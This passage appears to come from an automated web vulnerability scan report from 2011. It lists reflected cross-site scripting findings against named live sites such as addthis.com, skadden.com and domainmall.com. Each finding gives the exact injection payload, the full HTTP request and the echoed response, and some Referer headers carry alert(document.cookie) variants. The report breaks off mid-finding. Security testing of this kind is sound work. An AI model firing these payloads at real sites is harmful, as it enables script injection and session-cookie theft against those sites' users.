The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload 10337<script>alert(1)</script>88629374d28 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /gampad/ads?correlator=1295452261577&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-6743622525202572&slotname=728x90A_General10337<script>alert(1)</script>88629374d28&page_slots=728x90A_General&cookie_enabled=1&ga_vid=1376446855.1295452262&ga_sid=1295452262&ga_hid=2080119672&url=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law&ref=http%3A%2F%2Fburp%2Fshow%2F25&lmt=1295473836&dt=1295452261654&cc=10&biw=950&bih=1012&ifi=1&adk=3889316276&u_tz=-360&u_his=2&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&flash=10.1.103 HTTP/1.1 Host: pubads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 19 Jan 2011 18:03:28 GMT Server: gfp-be Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 2750
GA_googleSetAdContentsBySlotForSync({"728x90A_General10337<script>alert(1)</script>88629374d28":{"_type_":"html","_expandable_":false,"_html_":"\x3c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"\x3e\x3chtml\x3e\x3chead\x3e\x3cstyle\x3ea:link{color:#f ...[SNIP]...
4.44. http://rafael.adm.br/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://rafael.adm.br
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffb7d"><script>alert(1)</script>21b58676d82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ffb7d\\\"><script>alert(1)</script>21b58676d82 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?ffb7d"><script>alert(1)</script>21b58676d82=1 HTTP/1.1 Host: rafael.adm.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Wed, 19 Jan 2011 16:58:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/5.2.10-2ubuntu6 Vary: Cookie X-Pingback: http://rafael.adm.br/xmlrpc.php Content-Length: 43014
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/x ...[SNIP]... <a href="http://rafael.adm.br/page/2/?ffb7d\\\"><script>alert(1)</script>21b58676d82=1"> ...[SNIP]...
4.45. http://skaddenpractices.skadden.com/fca/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://skaddenpractices.skadden.com
Path:
/fca/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f2fa"><script>alert(1)</script>7a7277b34d3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /fca/?6f2fa"><script>alert(1)</script>7a7277b34d3=1 HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.46. http://skaddenpractices.skadden.com/hc/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://skaddenpractices.skadden.com
Path:
/hc/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6d57"><script>alert(1)</script>5968cea9b03 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /hc/?b6d57"><script>alert(1)</script>5968cea9b03=1 HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.47. http://skaddenpractices.skadden.com/sec/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://skaddenpractices.skadden.com
Path:
/sec/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81116"><script>alert(1)</script>ab7d185670b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sec/?81116"><script>alert(1)</script>ab7d185670b=1 HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.48. http://skaddenpractices.skadden.com/sec/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://skaddenpractices.skadden.com
Path:
/sec/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ae3b"><script>alert(1)</script>cc7c0c0318c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sec/?7ae3b"><script>alert(1)</script>cc7c0c0318c=1 HTTP/1.1 Host: skaddenpractices.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the username request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fe165'%3balert(1)//8402f0b736c was submitted in the username parameter. This input was echoed as fe165';alert(1)//8402f0b736c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/?username=rafaelpfe165'%3balert(1)//8402f0b736c HTTP/1.1 Host: twittercounter.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E21b58676d82=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:03:39 GMT Server: Apache/2.2.14 (Fedora) PHP/5.3.2 X-Powered-By: PHP/5.3.2 Expires: Sat, 29 Jan 2011 18:03:39 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 448
<!-- document.write( '<div id="TwitterCounter"><a href="http://twittercounter.com/rafaelpfe165';alert(1)//8402f0b736c" title="TwitterCounter for @rafaelpfe165';alert(1)//8402f0b736c" target="_blank"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f21b'%3b3d19e4067f1 was submitted in the REST URL parameter 4. This input was echoed as 7f21b';3d19e4067f1 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /284152846/direct7f21b'%3b3d19e4067f1/01?click=http://a1.interclick.com/icaid/122759/tid/756d9268-d021-4892-8c27-455f95b967cb/click.ic? HTTP/1.1 Host: REDACTED Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: MUID=DC63BAA44C3843F38378B4BB213E0A6F; AA002=1294100002-3786607
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6714 Content-Type: text/html Expires: 0 Connection: close Date: Wed, 19 Jan 2011 18:03:59 GMT
The value of the click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83606"-alert(1)-"a5366a597f2 was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /284152846/direct/01?click=http://a1.interclick.com/icaid/122759/tid/756d9268-d021-4892-8c27-455f95b967cb/click.ic?83606"-alert(1)-"a5366a597f2 HTTP/1.1 Host: REDACTED Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: MUID=DC63BAA44C3843F38378B4BB213E0A6F; AA002=1294100002-3786607
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6692 Content-Type: text/html Expires: 0 Connection: close Date: Wed, 19 Jan 2011 18:03:39 GMT
The value of the click request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b235"><script>alert(1)</script>4441186ab6f was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /284152846/direct/01?click=http://a1.interclick.com/icaid/122759/tid/756d9268-d021-4892-8c27-455f95b967cb/click.ic?5b235"><script>alert(1)</script>4441186ab6f HTTP/1.1 Host: REDACTED Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: MUID=DC63BAA44C3843F38378B4BB213E0A6F; AA002=1294100002-3786607
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6767 Content-Type: text/html Expires: 0 Connection: close Date: Wed, 19 Jan 2011 18:03:39 GMT
The value of the click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0b22'-alert(1)-'7388b2ddfcf was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /284152846/direct/01?click=http://a1.interclick.com/icaid/122759/tid/756d9268-d021-4892-8c27-455f95b967cb/click.ic?c0b22'-alert(1)-'7388b2ddfcf HTTP/1.1 Host: REDACTED Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: MUID=DC63BAA44C3843F38378B4BB213E0A6F; AA002=1294100002-3786607
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6692 Content-Type: text/html Expires: 0 Connection: close Date: Wed, 19 Jan 2011 18:03:40 GMT
4.54. http://REDACTED/284152846/direct/01 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://REDACTED
Path:
/284152846/direct/01
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ecb45'-alert(1)-'36c4d6a038a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /284152846/direct/01?click=http://a1.interclick.com/icaid/122759/tid/756d9268-d021-4892-8c27-455f95b967cb/click.ic?&ecb45'-alert(1)-'36c4d6a038a=1 HTTP/1.1 Host: REDACTED Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: MUID=DC63BAA44C3843F38378B4BB213E0A6F; AA002=1294100002-3786607
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6707 Content-Type: text/html Expires: 0 Connection: close Date: Wed, 19 Jan 2011 18:03:45 GMT
4.55. http://REDACTED/284152846/direct/01 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://REDACTED
Path:
/284152846/direct/01
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f836"><script>alert(1)</script>c59229a215b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /284152846/direct/01?click=http://a1.interclick.com/icaid/122759/tid/756d9268-d021-4892-8c27-455f95b967cb/click.ic?&4f836"><script>alert(1)</script>c59229a215b=1 HTTP/1.1 Host: REDACTED Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: MUID=DC63BAA44C3843F38378B4BB213E0A6F; AA002=1294100002-3786607
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6782 Content-Type: text/html Expires: 0 Connection: close Date: Wed, 19 Jan 2011 18:03:44 GMT
4.56. http://REDACTED/284152846/direct/01 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://REDACTED
Path:
/284152846/direct/01
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14fa6"-alert(1)-"b006579a593 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /284152846/direct/01?click=http://a1.interclick.com/icaid/122759/tid/756d9268-d021-4892-8c27-455f95b967cb/click.ic?&14fa6"-alert(1)-"b006579a593=1 HTTP/1.1 Host: REDACTED Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: MUID=DC63BAA44C3843F38378B4BB213E0A6F; AA002=1294100002-3786607
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6707 Content-Type: text/html Expires: 0 Connection: close Date: Wed, 19 Jan 2011 18:03:44 GMT
The value of the dn request parameter is copied into a JavaScript inline comment. The payload e35b9*/alert(1)//6ec7245ba5b was submitted in the dn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domainserve/domainView?dn=e35b9*/alert(1)//6ec7245ba5b HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the dn request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f37b7"%3balert(1)//97f91a6f73c was submitted in the dn parameter. This input was echoed as f37b7";alert(1)//97f91a6f73c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domainserve/domainView?dn=f37b7"%3balert(1)//97f91a6f73c HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the dn request parameter is copied into the HTML document as text between TITLE tags. The payload 6c6ee</title><script>alert(1)</script>4caa1df9615 was submitted in the dn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domainserve/domainView?dn=6c6ee</title><script>alert(1)</script>4caa1df9615 HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the dn request parameter is copied into the HTML document as plain text between tags. The payload 778ef<script>alert(1)</script>584f04eb84a was submitted in the dn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domainserve/domainView?dn=778ef<script>alert(1)</script>584f04eb84a HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the dn request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9eec5"><script>alert(1)</script>da4345821a9 was submitted in the dn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domainserve/domainView?dn=9eec5"><script>alert(1)</script>da4345821a9 HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/java ...[SNIP]... <meta name="description" content="Look no further for the best information on 9eec5"><script>alert(1)</script>da4345821a9.9eec5"> ...[SNIP]...
The value of the dn request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c682d'><script>alert(1)</script>0eba87e9935 was submitted in the dn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /domainserve/domainView?dn=c682d'><script>alert(1)</script>0eba87e9935 HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the dn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 58025'%3balert(1)//1b423bdb38b was submitted in the dn parameter. This input was echoed as 58025';alert(1)//1b423bdb38b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domainserve/domainView?dn=58025'%3balert(1)//1b423bdb38b HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the qkwid1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9ce31'%3balert(1)//60c9f7c43e2 was submitted in the qkwid1 parameter. This input was echoed as 9ce31';alert(1)//60c9f7c43e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /infomaster/widgets?wid=pt&qkwid1=qkw9ce31'%3balert(1)//60c9f7c43e2&submitid1=sqkw HTTP/1.1 Host: wsdsapi.infospace.com Proxy-Connection: keep-alive Referer: http://www.info.com/washington%20dc%20law%20firms2ee2d%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e72356283334 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the submitid1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c9b6d'%3balert(1)//dd5166876a6 was submitted in the submitid1 parameter. This input was echoed as c9b6d';alert(1)//dd5166876a6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /infomaster/widgets?wid=pt&qkwid1=qkw&submitid1=sqkwc9b6d'%3balert(1)//dd5166876a6 HTTP/1.1 Host: wsdsapi.infospace.com Proxy-Connection: keep-alive Referer: http://www.info.com/washington%20dc%20law%20firms2ee2d%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e72356283334 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 12d9b<script>alert(1)</script>893317d02a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bookmark.php12d9b<script>alert(1)</script>893317d02a5 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:26:41 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=ukeipc25sb6n7ajap5tqd3fsa1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1473 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <strong>bookmark.php12d9b<script>alert(1)</script>893317d02a5</strong> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8866e"-alert(1)-"49ee98219f7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmark.php8866e"-alert(1)-"49ee98219f7 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:26:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=tioju43rv1im39822nkpbqlp26; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1447 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <script type="text/javascript"> var u = "/404/bookmark.php8866e"-alert(1)-"49ee98219f7"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
4.68. http://www.addthis.com/bookmark.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/bookmark.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4591f"-alert(1)-"57e0244f404 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
